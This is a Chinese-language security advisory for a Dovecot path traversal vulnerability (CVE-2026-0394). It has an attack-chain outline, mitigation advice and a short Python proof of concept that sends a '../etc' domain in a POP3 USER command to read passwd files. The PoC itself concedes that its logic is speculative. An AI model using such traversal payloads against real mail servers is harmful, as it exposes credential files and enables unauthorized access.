IPBUF安全漏洞报告
English
CVE-2026-0394 CVSS 5.3 中危

CVE-2026-0394 Dovecot 路径遍历漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-0394
漏洞类型
路径遍历
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dovecot

相关标签

路径遍历Dovecot信息泄露认证绕过CVE-2026-0394

漏洞概述

该漏洞存在于 Dovecot 邮件服务器中。当其配置为使用按域 passwd 文件,且文件位于 /etc 上方路径或允许斜杠字符时,若域组件为目录部分,则可能发生路径遍历。攻击者可利用此缺陷读取 /etc/passwd 等敏感文件。若文件包含密码,可用于错误认证;若为 userdb,则会导致系统用户被意外视为有效用户,造成安全风险。

技术细节

该漏洞源于 Dovecot 在处理按域密码文件配置时的输入验证逻辑缺陷。当 Dovecot 被配置为使用位于 /etc 目录上一级路径的按域 passwd 文件,或者在配置中将斜杠(/)添加到允许字符列表时,应用程序未能正确处理域组件中的目录部分。这种情况下,攻击者可以通过构造特制的域参数,利用路径遍历技术绕过目录限制,读取服务器上以 passwd 结尾的敏感系统文件(如 /etc/passwd)。成功利用此漏洞可能导致严重后果:如果泄露的文件包含密码哈希,攻击者可尝试进行身份验证绕过;如果该文件被用作用户数据库,攻击者则可能将系统用户伪装成 Dovecot 的有效用户,从而获取未授权的访问权限。

攻击链分析

STEP 1
信息收集
攻击者识别出目标服务器正在使用 Dovecot,并配置了基于文件的按域认证机制。
STEP 2
漏洞探测
攻击者向服务器发送认证请求,在域组件中插入路径遍历字符(如 '../'),探测服务器是否允许斜杠或文件路径是否位于 /etc 上方。
STEP 3
路径遍历攻击
服务器未能正确过滤输入,将构造的域路径与基础路径拼接,导致攻击者能够访问并读取 /etc/passwd 等敏感文件。
STEP 4
利用与权限提升
攻击者解析获取到的 passwd 文件内容,提取密码哈希或用户信息,尝试进行身份验证绕过或伪装成系统用户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # PoC for CVE-2026-0394 Dovecot Path Traversal # This script demonstrates the concept of path traversal via the domain field. # Target configuration: per-domain passwd files in /etc (or similar). target_host = "192.168.1.10" target_port = 110 # POP3 port # Payload uses path traversal to reach /etc/passwd # Assuming the config expects /etc/%d/passwd # Sending domain as "../etc" might result in /etc/../etc/passwd or similar logic # depending on exact implementation details described in the advisory. # The advisory mentions "domain component is directory partial". payload_domain = "../etc" username = "test_user" password = "any_password" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # Receive banner print(s.recv(1024).decode()) # Attempt authentication using the malicious domain # Format: USER username@domain cmd = f"USER {username}@{payload_domain}\r\n" s.send(cmd.encode()) print(f"Sent: {cmd.strip()}") resp = s.recv(1024).decode() print(f"Received: {resp}") # The vulnerability allows reading /etc/passwd if the path resolves correctly. # This PoC checks if the server responds differently or allows login based on the file. s.close() except Exception as e: print(f"Error: {e}")

影响范围

Dovecot (配置使用按域passwd文件且位于特定路径的版本)

防御指南

临时缓解措施
建议立即检查 Dovecot 配置文件(如 10-auth.conf, 10-passwd.conf 等),确保按域 passwd 文件未放置在 /etc 上方路径,且未在允许字符中添加斜杠。作为临时缓解措施,可将认证文件迁移至安全目录(如 /etc/dovecot/auth/%d),或改用 SQL/LDAP 等不依赖文件路径的认证数据库,直至完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表